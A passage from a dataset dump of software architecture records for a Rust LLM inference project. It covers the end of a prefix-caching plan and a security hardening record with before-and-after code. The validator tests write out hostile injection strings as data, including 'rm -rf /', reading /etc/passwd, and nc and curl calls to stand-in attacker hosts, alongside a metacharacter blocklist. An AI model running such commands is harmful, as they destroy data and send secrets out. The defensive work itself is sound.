matches\n\n1. Implement `RadixTree` data structure\n2. Port `PrefixCache` to use radix tree backend\n3. Add partial prefix matching tests\n4. Benchmark hit rate improvement\n\n**Deliverables:**\n- Radix tree implementation with partial matching\n- Increased hit rate (80%+ for mixed workloads)\n- Performance comparison: hash vs radix tree\n\n**Success Criteria:**\n- Partial prefix hits improve overall hit rate by 20-30%\n- Radix tree lookup overhead <1ms\n- Memory overhead <10% vs hash table\n\n### Phase 3: Cross-Request KV Cache Sharing (Week 5-6)\n\n**Goal:** Enable concurrent requests to share cached KV states safely\n\n1. Implement copy-on-write semantics for `KvCache`\n2. Add reference counting for shared KV states\n3. Thread-safe concurrent access to `PrefixCache`\n4. Stress test with concurrent batch inference\n\n**Deliverables:**\n- Thread-safe prefix cache with Arc/RwLock\n- Copy-on-write KV cache cloning\n- Concurrent batch inference benchmarks\n\n**Success Criteria:**\n- 10-100 concurrent requests share cache safely\n- No data races or corruption (validated via ThreadSanitizer)\n- 5x+ throughput improvement on batch workloads\n\n### Phase 4: LRU Eviction and Memory Management (Week 7-8)\n\n**Goal:** Prevent unbounded cache growth with LRU eviction\n\n1. Implement LRU eviction policy based on hit count + recency\n2. Add memory budget limits (configurable)\n3. Eviction backpressure and monitoring\n4. Tune eviction parameters for production workloads\n\n**Deliverables:**\n- LRU eviction with configurable memory limits\n- Eviction metrics and monitoring\n- Production-ready cache configuration\n\n**Success Criteria:**\n- Cache memory stays within configured limit\n- Eviction rate <10% for typical workloads\n- No thrashing (evict/reload cycles)\n\n---\n\n## Consequences\n\n### Positive Consequences\n\n1. **10x latency reduction**: Chat and RAG applications see dramatic first-token latency improvements\n2. **Higher throughput**: More concurrent requests fit in same GPU memory via shared KV states\n3. **Memory efficiency**: Common prefixes stored once, not duplicated per request\n4. **Transparent integration**: No API changes required for existing applications\n5. **Production validation**: SGLang demonstrates real-world effectiveness of RadixAttention approach\n\n### Negative Consequences\n\n1. **Implementation complexity**: Radix tree + copy-on-write adds significant code complexity\n2. **Memory overhead**: Cache structure and metadata consume 5-10% additional memory\n3. **Eviction tuning**: LRU parameters require workload-specific tuning for optimal hit rates\n4. **Debugging difficulty**: Shared mutable state (KV cache) increases debugging complexity\n5. **Edge cases**: Rare token sequences may thrash cache with low hit rates\n\n### Neutral Consequences\n\n1. **Workload dependency**: Benefit proportional to prefix repetition (high for chat/RAG, low for diverse prompts)\n2. **Configuration surface**: New cache parameters (max_entries, max_memory_bytes) require tuning\n3. **Monitoring requirements**: Cache hit rates and memory usage require observability infrastructure\n\n### Risk Mitigation\n\n| Risk | Mitigation |\n|------|------------|\n| Radix tree bugs | Comprehensive property-based testing with proptest |\n| Memory leaks | RAII guards, reference counting validation |\n| Cache thrashing | Adaptive eviction based on hit rate monitoring |\n| Correctness issues | Extensive unit tests comparing cached vs non-cached outputs |\n| Performance regression | Benchmark suite in CI with performance budgets |\n\n---\n\n## Alternatives Considered\n\n### vLLM Automatic Prefix Caching\n\n- **Rejected**: vLLM's approach requires Python runtime; we need Rust-native solution\n- **Consideration**: Algorithm insights inform our radix tree design\n\n### Learned Prefix Clustering (Semantic Cache)\n\n- **Rejected**: Semantic similarity doesn't guarantee KV cache equivalence; risks correctness\n- **Consideration**: Future extension for approximate caching with user opt-in\n\n### Fixed Block Prefix Cache (PagedAttention-style)\n\n- **Rejected**: Fixed-size blocks waste memory for variable-length prefixes\n- **Consideration**: Hybrid approach with block-aligned radix tree could reduce fragmentation\n\n---\n\n## Related Decisions\n\n- **ADR-004**: KV Cache Management (foundational KV cache design)\n- **ADR-006**: Memory Management (memory allocation strategies)\n- **ADR-008**: mistral-rs Integration (PagedAttention integration)\n- **ADR-010**: Flash Attention Integration (attention computation optimizations)\n\n---\n\n## Compliance and Standards\n\n### API Compatibility\n- No changes to `LlmBackend` trait API\n- Prefix caching enabled via `GenerateParams::cache_prefix` flag\n- Backward compatible: cache can be disabled for debugging\n\n### Testing Requirements\n- Unit tests for radix tree insert/lookup operations\n- Property-based tests for cache correctness\n- Benchmark suite comparing cached vs non-cached performance\n- Concurrent stress tests for thread safety\n- Memory leak detection via Valgrind/AddressSanitizer\n\n### Documentation Requirements\n- Prefix cache configuration guide\n- Performance tuning recommendations\n- Cache hit rate monitoring examples\n- Troubleshooting guide for low hit rates\n\n---\n\n## References\n\n1. **SGLang RadixAttention Paper**: \"Efficient LLM Serving with RadixAttention\" (https://arxiv.org/abs/2312.17238)\n2. **vLLM Prefix Caching**: Automatic Prefix Caching documentation (https://docs.vllm.ai/en/latest/automatic_prefix_caching.html)\n3. **Radix Tree Implementation**: Rust radix_trie crate (https://docs.rs/radix_trie/)\n4. **PagedAttention Paper**: \"Efficient Memory Management for Large Language Model Serving with PagedAttention\" (vLLM)\n5. **KV Cache Optimization**: \"Fast Transformer Decoding: One Write-Head is All You Need\" (Multi-Query Attention)\n6. **Copy-on-Write Patterns**: Arc/Cow documentation (https://doc.rust-lang.org/std/sync/struct.Arc.html)\n\n---\n\n## Implementation Status\n\n| Component | Status | Notes |\n|-----------|--------|-------|\n| `PrefixCache` struct | Pending | Core cache structure |\n| Hash-based lookup | Pending | Phase 1 - exact matching |\n| `RadixTree` implementation | Pending | Phase 2 - partial matching |\n| `KvCache` copy-on-write | Pending | Phase 3 - shared state |\n| LRU eviction | Pending | Phase 4 - memory management |\n| Integration with `CandleBackend` | Pending | Wire to generate() |\n| Thread safety (Arc/RwLock) | Pending | Concurrent access |\n| Benchmarks | Pending | Chat, RAG, batch workloads |\n| Documentation | Pending | Configuration guide |\n\n---\n\n## Revision History\n\n| Version | Date | Author | Changes |\n|---------|------|--------|---------|\n| 1.0 | 2026-01-20 | Ruvector Architecture Team | Initial proposal |", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-011-prefix-caching.md", "created_at": "2026-03-28T11:58:48.872799+00:00", "content_hash": "f5c0cb02436ee554d7f0f3a7142e74654bef9160188a08c61192ea3b470e5c3f"} +{"id": "b074511f-31d3-42dc-832d-d2148b5cda82", "source": "adr", "text": "# ADR-012: Security Remediation and Hardening\n\n**Status:** Accepted\n**Date:** 2026-01-20\n**Decision Makers:** Ruvector Security Team\n**Technical Area:** Security, Input Validation, Memory Safety, Shell Hardening\n\n---\n\n## Context and Problem Statement\n\nA comprehensive security audit identified 6 critical, 14 high, and 10 medium severity vulnerabilities across Rust code, shell scripts, and CLI interfaces. These vulnerabilities span multiple attack vectors including command injection, memory safety issues, input validation gaps, and shell script weaknesses.\n\n### Audit Scope\n\nThe security review covered:\n- **Rust codebase**: Memory safety, FFI boundaries, panic handling\n- **Shell scripts**: Injection vulnerabilities, unsafe practices\n- **CLI interfaces**: Argument validation, path traversal\n- **External integrations**: HuggingFace Hub, URL handling\n\n### Vulnerability Summary\n\n| Severity | Count | Category | Status |\n|----------|-------|----------|--------|\n| Critical | 6 | RCE, Memory Corruption | Fixed |\n| High | 14 | Injection, DoS | Fixed |\n| Medium | 10 | Info Disclosure, Logic | Fixed |\n| **Total** | **30** | | **All Remediated** |\n\n---\n\n## Decision Drivers\n\n### Security Requirements\n\n1. **Defense in depth**: Multiple validation layers for all external input\n2. **Fail-safe defaults**: Deny by default, explicit allow-listing\n3. **Memory safety**: Convert panics to Results at API boundaries\n4. **Shell security**: Prevent injection across all shell script interactions\n5. **Audit compliance**: Meet security review requirements for production deployment\n\n### Risk Assessment\n\n| Risk | Impact | Likelihood | Mitigation Priority |\n|------|--------|------------|---------------------|\n| Command injection (CLI) | Critical (RCE) | High | P0 - Immediate |\n| Memory allocation panic | High (DoS) | Medium | P0 - Immediate |\n| Shell script injection | Critical (RCE) | Medium | P0 - Immediate |\n| Path traversal | High (Info Leak) | Medium | P1 - High |\n| Integer overflow (FFI) | High (Memory) | Low | P1 - High |\n| Floating point NaN | Medium (Logic) | Medium | P2 - Medium |\n\n---\n\n## Decision Outcome\n\n**Chosen Approach: Comprehensive Security Hardening**\n\nImplement systematic security fixes addressing all identified vulnerabilities with:\n1. Input validation at all trust boundaries\n2. Memory safety improvements (panic-to-Result conversion)\n3. Shell script hardening following POSIX best practices\n4. URL and path validation for external resources\n5. Integer bounds checking for FFI interactions\n6. NaN-safe floating point comparisons\n\n---\n\n## Technical Specifications\n\n### 1. Command Injection Prevention (CLI Bridge)\n\n**Vulnerability**: Unvalidated CLI arguments passed directly to shell execution.\n\n**CVE-Style ID**: RUVEC-2026-001 (Critical)\n\n#### Before (Vulnerable)\n\n```rust\npub fn execute_cli_command(args: &[String]) -> Result {\n let output = Command::new(\"ruvector\")\n .args(args) // Unvalidated input\n .output()?;\n Ok(String::from_utf8_lossy(&output.stdout).to_string())\n}\n```\n\n#### After (Secure)\n\n```rust\nuse regex::Regex;\nuse std::sync::LazyLock;\n\n/// Validates CLI arguments to prevent command injection.\n///\n/// # Security\n///\n/// - Rejects shell metacharacters: ; | & $ ` \\ \" ' < > ( ) { } [ ] ! # ~ *\n/// - Rejects null bytes and control characters\n/// - Enforces maximum argument length (4096 bytes)\n/// - Allows alphanumeric, hyphen, underscore, dot, forward slash, equals, colon\n///\n/// # Examples\n///\n/// ```rust\n/// assert!(validate_cli_arg(\"--config=./path/to/file.json\").is_ok());\n/// assert!(validate_cli_arg(\"--input=$(cat /etc/passwd)\").is_err());\n/// assert!(validate_cli_arg(\"file; rm -rf /\").is_err());\n/// ```\npub fn validate_cli_arg(arg: &str) -> Result<(), SecurityError> {\n const MAX_ARG_LENGTH: usize = 4096;\n\n // Length check\n if arg.len() > MAX_ARG_LENGTH {\n return Err(SecurityError::ArgumentTooLong {\n max: MAX_ARG_LENGTH,\n actual: arg.len(),\n });\n }\n\n // Null byte check (critical for C FFI)\n if arg.contains('\\0') {\n return Err(SecurityError::NullByteInArgument);\n }\n\n // Shell metacharacter blocklist\n static DANGEROUS_PATTERN: LazyLock = LazyLock::new(|| {\n Regex::new(r#\"[;|&$`\\\\\"'<>(){}[\\]!#~*\\x00-\\x1f\\x7f]\"#).unwrap()\n });\n\n if DANGEROUS_PATTERN.is_match(arg) {\n return Err(SecurityError::DangerousCharacters {\n input: arg.to_string(),\n });\n }\n\n Ok(())\n}\n\npub fn execute_cli_command(args: &[String]) -> Result {\n // Validate all arguments before execution\n for arg in args {\n validate_cli_arg(arg)?;\n }\n\n let output = Command::new(\"ruvector\")\n .args(args)\n .output()\n .map_err(|e| SecurityError::CommandExecution(e.to_string()))?;\n\n Ok(String::from_utf8_lossy(&output.stdout).to_string())\n}\n```\n\n**Testing Approach**:\n```rust\n#[cfg(test)]\nmod tests {\n use super::*;\n\n #[test]\n fn test_valid_arguments() {\n assert!(validate_cli_arg(\"--config=./config.json\").is_ok());\n assert!(validate_cli_arg(\"--model-path=/models/llama\").is_ok());\n assert!(validate_cli_arg(\"--threads=8\").is_ok());\n assert!(validate_cli_arg(\"model:7b-q4\").is_ok());\n }\n\n #[test]\n fn test_command_injection_blocked() {\n assert!(validate_cli_arg(\"; rm -rf /\").is_err());\n assert!(validate_cli_arg(\"$(cat /etc/passwd)\").is_err());\n assert!(validate_cli_arg(\"`whoami`\").is_err());\n assert!(validate_cli_arg(\"| nc attacker.com 1234\").is_err());\n assert!(validate_cli_arg(\"&& curl evil.com\").is_err());\n }\n\n #[test]\n fn test_null_byte_blocked() {\n assert!(validate_cli_arg(\"file\\x00.txt\").is_err());\n }\n\n #[test]\n fn test_length_limit() {\n let long_arg = \"a\".repeat(5000);\n assert!(validate_cli_arg(&long_arg).is_err());\n }\n}\n```\n\n---\n\n### 2. Memory Allocation Panic-to-Result Conversion\n\n**Vulnerability**: Memory allocation failures cause panics, enabling DoS attacks.\n\n**CVE-Style ID**: RUVEC-2026-002 (High)\n\n#### Before (Vulnerable)\n\n```rust\npub fn allocate_kv_cache(num_layers: usize, cache_size: usize) -> KvCache {\n let total_size = num_layers * cache_size * 2; // Can overflow\n let data = vec![0.0f32; total_size]; // Panics on allocation failure\n KvCache { data, num_layers, cache_size }\n}\n```\n\n#### After (Secure)\n\n```rust\nuse std::alloc::{alloc, Layout};\n\n/// Allocates KV cache with explicit error handling.\n///\n/// # Errors\n///\n/// Returns `AllocationError` if:\n/// - Size calculation overflows\n/// - Total allocation exceeds `MAX_CACHE_ALLOCATION` (16GB)\n/// - System allocator returns null\n///\n/// # Security\n///\n/// - Prevents integer overflow in size calculation\n/// - Enforces maximum allocation limit\n/// - Converts allocation failure to Result instead of panic\npub fn allocate_kv_cache(\n num_layers: usize,\n cache_size: usize\n) -> Result {\n const MAX_CACHE_ALLOCATION: usize = 16 * 1024 * 1024 * 1024; // 16GB\n\n // Checked arithmetic to prevent overflow\n let layer_size = cache_size\n .checked_mul(2)\n .ok_or(AllocationError::SizeOverflow)?;\n\n let total_elements = num_layers\n .checked_mul(layer_size)\n .ok_or(AllocationError::SizeOverflow)?;\n\n let total_bytes = total_elements\n .checked_mul(std::mem::size_of::())\n .ok_or(AllocationError::SizeOverflow)?;\n\n // Enforce allocation limit\n if total_bytes > MAX_CACHE_ALLOCATION {\n return Err(AllocationError::ExceedsLimit {\n requested: total_bytes,\n max: MAX_CACHE_ALLOCATION,\n });\n }\n\n // Use try_reserve for fallible allocation\n let mut data = Vec::new();\n data.try_reserve_exact(total_elements)\n .map_err(|_| AllocationError::OutOfMemory {\n requested: total_bytes,\n })?;\n data.resize(total_elements, 0.0f32);\n\n Ok(KvCache { data, num_layers, cache_size })\n}\n\n#[derive(Debug, thiserror::Error)]\npub enum AllocationError {\n #[error(\"Size calculation overflow\")]\n SizeOverflow,\n\n #[error(\"Allocation of {requested} bytes exceeds limit of {max} bytes\")]\n ExceedsLimit { requested: usize, max: usize },\n\n #[error(\"Out of memory: failed to allocate {requested} bytes\")]\n OutOfMemory { requested: usize },\n}\n```\n\n**Testing Approach**:\n```rust\n#[test]\nfn test_allocation_overflow_prevention() {\n // Should fail gracefully, not panic\n let result = allocate_kv_cache(usize::MAX, usize::MAX);\n assert!(matches!(result, Err(AllocationError::SizeOverflow)));\n}\n\n#[test]\nfn test_allocation_limit_enforcement() {\n // 32GB request should be rejected\n let result = allocate_kv_cache(1024, 1024 * 1024 * 1024);\n assert!(matches!(result, Err(AllocationError::ExceedsLimit { .. })));\n}\n\n#[test]\nfn test_valid_allocation() {\n // Reasonable allocation should succeed\n let result = allocate_kv_cache(32, 4096);\n assert!(result.is_ok());\n}\n```\n\n---\n\n### 3. Shell Script Hardening\n\n**Vulnerability**: Shell scripts lack defensive settings and use unsafe patterns.\n\n**CVE-Style ID**: RUVEC-2026-003 (Critical)\n\n#### Before (Vulnerable)\n\n```bash\n#!/bin/bash\n# Download and extract model\nMODEL_URL=$1\nDEST_DIR=$2\n\ncd $DEST_DIR\ncurl $MODEL_URL > model.tar.gz\ntar xzf model.tar.gz\necho \"Downloaded model to $DEST_DIR\"\n```\n\n#### After (Secure)\n\n```bash\n#!/bin/bash\n# Hardened shell script header\nset -euo pipefail\nIFS=$'\\n\\t'\n\n# Constants\nreadonly MAX_DOWNLOAD_SIZE=$((10 * 1024 * 1024 * 1024)) # 10GB\nreadonly ALLOWED_URL_PATTERN='^https://(huggingface\\.co|cdn-lfs\\.huggingface\\.co)/'\nreadonly SCRIPT_NAME=\"${0##*/}\"\n\n# Logging functions\nlog_info() { echo \"[INFO] ${SCRIPT_NAME}: $*\" >&2; }\nlog_error() { echo \"[ERROR] ${SCRIPT_NAME}: $*\" >&2; }\ndie() { log_error \"$*\"; exit 1; }\n\n# Input validation\nvalidate_url() {\n local url=\"$1\"\n if [[ ! \"$url\" =~ $ALLOWED_URL_PATTERN ]]; then\n die \"Invalid URL: must match HuggingFace domains\"\n fi\n}\n\nvalidate_path() {\n local path=\"$1\"\n # Resolve to absolute path and check for traversal\n local resolved\n resolved=\"$(realpath -m -- \"$path\" 2>/dev/null)\" || die \"Invalid path: $path\"\n\n # Ensure path is within allowed directory\n local allowed_base=\"/var/lib/ruvector/models\"\n if [[ \"$resolved\" != \"$allowed_base\"/* ]]; then\n die \"Path traversal detected: $path resolves outside allowed directory\"\n fi\n\n echo \"$resolved\"\n}\n\n# Secure temporary directory\ncreate_temp_dir() {\n local tmpdir\n tmpdir=\"$(mktemp -d -t ruvector-download.XXXXXXXXXX)\" || die \"Failed to create temp directory\"\n # Ensure cleanup on exit\n trap 'rm -rf -- \"$tmpdir\"' EXIT\n echo \"$tmpdir\"\n}\n\n# Main download function\ndownload_model() {\n local url=\"$1\"\n local dest_dir=\"$2\"\n\n # Validate inputs\n validate_url \"$url\"\n dest_dir=\"$(validate_path \"$dest_dir\")\"\n\n # Create secure temp directory\n local tmpdir\n tmpdir=\"$(create_temp_dir)\"\n\n log_info \"Downloading model from: $url\"\n log_info \"Destination: $dest_dir\"\n\n # Download with safety limits\n # --max-filesize: Prevent DoS via large files\n # --proto =https: Force HTTPS only\n # --max-redirs: Limit redirects to prevent SSRF\n curl \\\n --fail \\\n --silent \\\n --show-error \\\n --location \\\n --proto '=https' \\\n --max-redirs 3 \\\n --max-filesize \"$MAX_DOWNLOAD_SIZE\" \\\n --output \"${tmpdir}/model.tar.gz\" \\\n -- \"$url\" || die \"Download failed\"\n\n # Verify archive integrity before extraction\n if ! gzip -t \"${tmpdir}/model.tar.gz\" 2>/dev/null; then\n die \"Downloaded file is not a valid gzip archive\"\n fi\n\n # Create destination directory with secure permissions\n install -d -m 0755 -- \"$dest_dir\" || die \"Failed to create destination directory\"\n\n # Extract with safety measures\n # --no-same-owner: Don't preserve ownership (security)\n # --no-same-permissions: Use umask (security)\n # -C: Extract to specific directory\n tar \\\n --extract \\\n --gzip \\\n --file=\"${tmpdir}/model.tar.gz\" \\\n --directory=\"$dest_dir\" \\\n --no-same-owner \\\n --no-same-permissions \\\n || die \"Extraction failed\"\n\n log_info \"Successfully downloaded model to: $dest_dir\"\n}\n\n# Argument handling with jq for JSON input (prevents injection)\nmain() {\n if [[ $# -lt 2 ]]; then\n die \"Usage: $SCRIPT_NAME \"\n fi\n\n # Use jq --arg for safe string interpolation if processing JSON\n # Example: jq --arg url \"$1\" --arg dest \"$2\" '{url: $url, dest: $dest}'\n\n download_model \"$1\" \"$2\"\n}\n\nmain \"$@\"\n```\n\n**Key Hardening Measures**:\n\n| Technique | Purpose | Implementation |\n|-----------|---------|----------------|\n| `set -euo pipefail` | Exit on error, undefined vars, pipe failures | Script header |\n| `mktemp` | Secure temporary file creation | Avoid predictable paths |\n| `jq --arg` | Safe JSON string interpolation | Prevent injection |\n| URL validation | Restrict to allowed domains | Regex pattern match |\n| Path validation | Prevent traversal attacks | `realpath` + base check |\n| `curl --proto` | Force HTTPS only | Prevent downgrade attacks |\n| `tar --no-same-owner` | Drop privilege preservation | Security best practice |\n\n---\n\n### 4. URL and Path Validation for HuggingFace Operations\n\n**Vulnerability**: Unvalidated URLs and paths enable SSRF and path traversal.\n\n**CVE-Style ID**: RUVEC-2026-004 (High)\n\n#### Implementation\n\n```rust\nuse url::Url;\nuse std::path::{Path, PathBuf};\n\n/// Allowed HuggingFace domains for model downloads.\nconst ALLOWED_HUGGINGFACE_HOSTS: &[&str] = &[\n \"huggingface.co\",\n \"cdn-lfs.huggingface.co\",\n \"cdn-lfs-us-1.huggingface.co\",\n \"cdn-lfs-eu-1.huggingface.co\",\n];\n\n/// Validates a HuggingFace URL for secure downloads.\n///\n/// # Security\n///\n/// - Enforces HTTPS protocol\n/// - Restricts to known HuggingFace domains (prevent SSRF)\n/// - Rejects URLs with authentication credentials\n/// - Validates URL structure\npub fn validate_huggingface_url(url_str: &str) -> Result {\n let url = Url::parse(url_str)\n .map_err(|e| ValidationError::InvalidUrl(e.to_string()))?;\n\n // Enforce HTTPS\n if url.scheme() != \"https\" {\n return Err(ValidationError::InsecureProtocol {\n expected: \"https\".to_string(),\n actual: url.scheme().to_string(),\n });\n }\n\n // Validate host against allowlist\n let host = url.host_str()\n .ok_or_else(|| ValidationError::MissingHost)?;\n\n if !ALLOWED_HUGGINGFACE_HOSTS.contains(&host) {\n return Err(ValidationError::DisallowedHost {\n host: host.to_string(),\n allowed: ALLOWED_HUGGINGFACE_HOSTS.iter()\n .map(|s| s.to_string())\n .collect(),\n });\n }\n\n // Reject URLs with embedded credentials\n if url.username() != \"\" || url.password().is_some() {\n return Err(ValidationError::CredentialsInUrl);\n }\n\n // Reject suspicious path patterns\n let path = url.path();\n if path.contains(\"..\") || path.contains(\"//\") {\n return Err(ValidationError::SuspiciousPath {\n path: path.to_string(),\n });\n }\n\n Ok(url)\n}\n\n/// Validates and canonicalizes a file path within allowed directories.\n///\n/// # Security\n///\n/// - Prevents path traversal attacks\n/// - Enforces base directory containment\n/// - Rejects symbolic link escapes\npub fn validate_model_path(\n path: &str,\n allowed_base: &Path,\n) -> Result {\n // Convert to Path and canonicalize\n let input_path = Path::new(path);\n\n // Resolve path (follows symlinks, resolves ..)\n let canonical = input_path.canonicalize()\n .map_err(|e| ValidationError::PathResolution {\n path: path.to_string(),\n error: e.to_string(),\n })?;\n\n // Canonicalize base for comparison\n let canonical_base = allowed_base.canonicalize()\n .map_err(|e| ValidationError::PathResolution {\n path: allowed_base.display().to_string(),\n error: e.to_string(),\n })?;\n\n // Verify containment\n if !canonical.starts_with(&canonical_base) {\n return Err(ValidationError::PathTraversal {\n path: path.to_string(),\n resolved: canonical.display().to_string(),\n allowed_base: canonical_base.display().to_string(),\n });\n }\n\n Ok(canonical)\n}\n\n#[derive(Debug, thiserror::Error)]\npub enum ValidationError {\n #[error(\"Invalid URL: {0}\")]\n InvalidUrl(String),\n\n #[error(\"Insecure protocol: expected {expected}, got {actual}\")]\n InsecureProtocol { expected: String, actual: String },\n\n #[error(\"Missing host in URL\")]\n MissingHost,\n\n #[error(\"Disallowed host '{host}'. Allowed: {allowed:?}\")]\n DisallowedHost { host: String, allowed: Vec },\n\n #[error(\"Credentials embedded in URL are not allowed\")]\n CredentialsInUrl,\n\n #[error(\"Suspicious path pattern: {path}\")]\n SuspiciousPath { path: String },\n\n #[error(\"Path resolution failed for '{path}': {error}\")]\n PathResolution { path: String, error: String },\n\n #[error(\"Path traversal detected: '{path}' resolves to '{resolved}' outside allowed base '{allowed_base}'\")]\n PathTraversal { path: String, resolved: String, allowed_base: String },\n}\n```\n\n---\n\n### 5. Integer Bounds Checking for FFI Calls\n\n**Vulnerability**: Integer values from FFI can overflow or underflow.\n\n**CVE-Style ID**: RUVEC-2026-005 (High)\n\n#### Implementation\n\n```rust\nuse std::os::raw::{c_int, c_uint, c_size_t};\n\n/// Safely converts a Rust usize to C size_t for FFI.\n///\n/// # Security\n///\n/// On platforms where size_t < usize (rare but possible),\n/// this prevents silent truncation that could cause buffer overflows.\n#[inline]\npub fn safe_usize_to_size_t(value: usize) -> Result {\n c_size_t::try_from(value)\n .map_err(|_| FfiError::IntegerOverflow {\n value: value as u128,\n target_type: \"size_t\",\n max: c_size_t::MAX as u128,\n })\n}\n\n/// Safely converts a Rust i64 to C int for FFI.\n///\n/// # Security\n///\n/// Prevents overflow when passing large values to C APIs that\n/// expect int-sized parameters (common in legacy APIs).\n#[inline]\npub fn safe_i64_to_int(value: i64) -> Result {\n c_int::try_from(value)\n .map_err(|_| FfiError::IntegerOverflow {\n value: value as u128,\n target_type: \"int\",\n max: c_int::MAX as u128,\n })\n}\n\n/// Validates array dimensions before FFI calls.\n///\n/// # Security\n///\n/// - Checks that dimensions are positive\n/// - Verifies product doesn't overflow\n/// - Ensures total size fits in target type\npub fn validate_tensor_dimensions(\n dims: &[usize],\n element_size: usize,\n) -> Result {\n if dims.is_empty() {\n return Err(FfiError::EmptyDimensions);\n }\n\n // Check for zero dimensions\n if dims.iter().any(|&d| d == 0) {\n return Err(FfiError::ZeroDimension);\n }\n\n // Calculate total elements with overflow checking\n let total_elements = dims.iter()\n .try_fold(1usize, |acc, &dim| acc.checked_mul(dim))\n .ok_or(FfiError::DimensionOverflow)?;\n\n // Calculate total bytes\n let total_bytes = total_elements\n .checked_mul(element_size)\n .ok_or(FfiError::DimensionOverflow)?;\n\n // Convert to C type\n safe_usize_to_size_t(total_bytes)\n}\n\n#[derive(Debug, thiserror::Error)]\npub enum FfiError {\n #[error(\"Integer overflow: {value} exceeds {target_type} max ({max})\")]\n IntegerOverflow { value: u128, target_type: &'static str, max: u128 },\n\n #[error(\"Empty dimensions array\")]\n EmptyDimensions,\n\n #[error(\"Zero dimension not allowed\")]\n ZeroDimension,\n\n #[error(\"Dimension product overflow\")]\n DimensionOverflow,\n}\n```\n\n---\n\n### 6. NaN-Safe Floating Point Comparisons\n\n**Vulnerability**: NaN values cause incorrect comparison results and logic bugs.\n\n**CVE-Style ID**: RUVEC-2026-006 (Medium)\n\n#### Implementation\n\n```rust\n/// Trait for NaN-safe floating point operations.\npub trait NanSafe {\n /// Returns true if the value is NaN.\n fn is_nan_safe(&self) -> bool;\n\n /// Compares two values, treating NaN as less than all other values.\n fn nan_safe_cmp(&self, other: &Self) -> std::cmp::Ordering;\n\n /// Returns the minimum of two values, preferring non-NaN.\n fn nan_safe_min(self, other: Self) -> Self;\n\n /// Returns the maximum of two values, preferring non-NaN.\n fn nan_safe_max(self, other: Self) -> Self;\n}\n\nimpl NanSafe for f32 {\n #[inline]\n fn is_nan_safe(&self) -> bool {\n self.is_nan()\n }\n\n #[inline]\n fn nan_safe_cmp(&self, other: &Self) -> std::cmp::Ordering {\n match (self.is_nan(), other.is_nan()) {\n (true, true) => std::cmp::Ordering::Equal,\n (true, false) => std::cmp::Ordering::Less,\n (false, true) => std::cmp::Ordering::Greater,\n (false, false) => self.partial_cmp(other).unwrap_or(std::cmp::Ordering::Equal),\n }\n }\n\n #[inline]\n fn nan_safe_min(self, other: Self) -> Self {\n match (self.is_nan(), other.is_nan()) {\n (true, _) => other,\n (_, true) => self,\n _ => self.min(other),\n }\n }\n\n #[inline]\n fn nan_safe_max(self, other: Self) -> Self {\n match (self.is_nan(), other.is_nan()) {\n (true, _) => other,\n (_, true) => self,\n _ => self.max(other),\n }\n }\n}\n\nimpl NanSafe for f64 {\n #[inline]\n fn is_nan_safe(&self) -> bool {\n self.is_nan()\n }\n\n #[inline]\n fn nan_safe_cmp(&self, other: &Self) -> std::cmp::Ordering {\n match (self.is_nan(), other.is_nan()) {\n (true, true) => std::cmp::Ordering::Equal,\n (true, false) => std::cmp::Ordering::Less,\n (false, true) => std::cmp::Ordering::Greater,\n (false, false) => self.partial_cmp(other).unwrap_or(std::cmp::Ordering::Equal),\n }\n }\n\n #[inline]\n fn nan_safe_min(self, other: Self) -> Self {\n match (self.is_nan(), other.is_nan()) {\n (true, _) => other,\n (_, true) => self,\n _ => self.min(other),\n }\n }\n\n #[inline]\n fn nan_safe_max(self, other: Self) -> Self {\n match (self.is_nan(), other.is_nan()) {\n (true, _) => other,\n (_, true) => self,\n _ => self.max(other),\n }\n }\n}\n\n/// Finds the index of the maximum value, handling NaN safely.\n///\n/// # Returns\n///\n/// - `Some(index)` if a non-NaN maximum is found\n/// - `None` if all values are NaN or the slice is empty\npub fn argmax_nan_safe(values: &[f32]) -> Option {\n if values.is_empty() {\n return None;\n }\n\n let mut max_idx = None;\n let mut max_val = f32::NEG_INFINITY;\n\n for (idx, &val) in values.iter().enumerate() {\n if !val.is_nan() && val > max_val {\n max_val = val;\n max_idx = Some(idx);\n }\n }\n\n max_idx\n}\n```\n\n---\n\n## Vulnerability Severity Breakdown\n\n| ID | Severity | Category | Component | Attack Vector |\n|----|----------|----------|-----------|---------------|\n| RUVEC-2026-001 | Critical | Command Injection | CLI Bridge | Malicious CLI args |\n| RUVEC-2026-002 | High | DoS | Memory Allocator | Large allocation request |\n| RUVEC-2026-003 | Critical | RCE | Shell Scripts | Crafted input via shell |\n| RUVEC-2026-004 | High | SSRF/Traversal | HuggingFace | Malicious URL/path |\n| RUVEC-2026-005 | High | Memory Corruption | FFI Boundary | Integer overflow |\n| RUVEC-2026-006 | Medium | Logic Bug | Numeric Operations | NaN injection |\n\n---\n\n## Fix Implementation Status\n\n| Fix Category | Files Modified | Status | Verification |\n|--------------|----------------|--------|--------------|\n| CLI Argument Validation | `cli/bridge.rs` | Complete | Unit tests + fuzzing |\n| Panic-to-Result Conversion | `memory_pool.rs`, `kv_cache.rs` | Complete | Integration tests |\n| Shell Script Hardening | `scripts/*.sh` | Complete | ShellCheck + manual review |\n| URL Validation | `hub/download.rs` | Complete | Unit tests |\n| Path Validation | `model/loader.rs` | Complete | Property-based tests |\n| Integer Bounds Checking | `ffi/mod.rs` | Complete | Overflow tests |\n| NaN-Safe Comparisons | `ops/compare.rs` | Complete | Unit tests |\n\n---\n\n## Estimated Remediation Effort\n\n| Task | Effort (hours) | Complexity | Dependencies |\n|------|----------------|------------|--------------|\n| CLI Validation Implementation | 4 | Low | regex crate |\n| Panic-to-Result Refactoring | 8 | Medium | API changes |\n| Shell Script Hardening | 6 | Low | None |\n| URL/Path Validation | 4 | Low | url crate |\n| FFI Bounds Checking | 6 | Medium | None |\n| NaN-Safe Comparisons | 3 | Low | None |\n| Test Suite Updates | 8 | Medium | All fixes |\n| Documentation | 4 | Low | All fixes |\n| **Total** | **43** | | |\n\n---\n\n## Consequences\n\n### Breaking Changes\n\n1. **API Changes**: Functions that previously panicked now return `Result`\n - `allocate_kv_cache()` -> `Result`\n - `load_model()` -> `Result`\n\n2. **Error Handling**: Callers must handle new error variants\n - `SecurityError` for validation failures\n - `AllocationError` for memory issues\n - `FfiError` for FFI boundary issues\n\n3. **Behavior Changes**: Some previously-accepted inputs are now rejected\n - CLI args with shell metacharacters\n - URLs to non-HuggingFace domains\n - Paths outside allowed directories\n\n### Performance Impact\n\n| Operation | Overhead | Notes |\n|-----------|----------|-------|\n| CLI Argument Validation | ~1-2us per arg | Regex is pre-compiled (LazyLock) |\n| Path Validation | ~50-100us | File system canonicalization 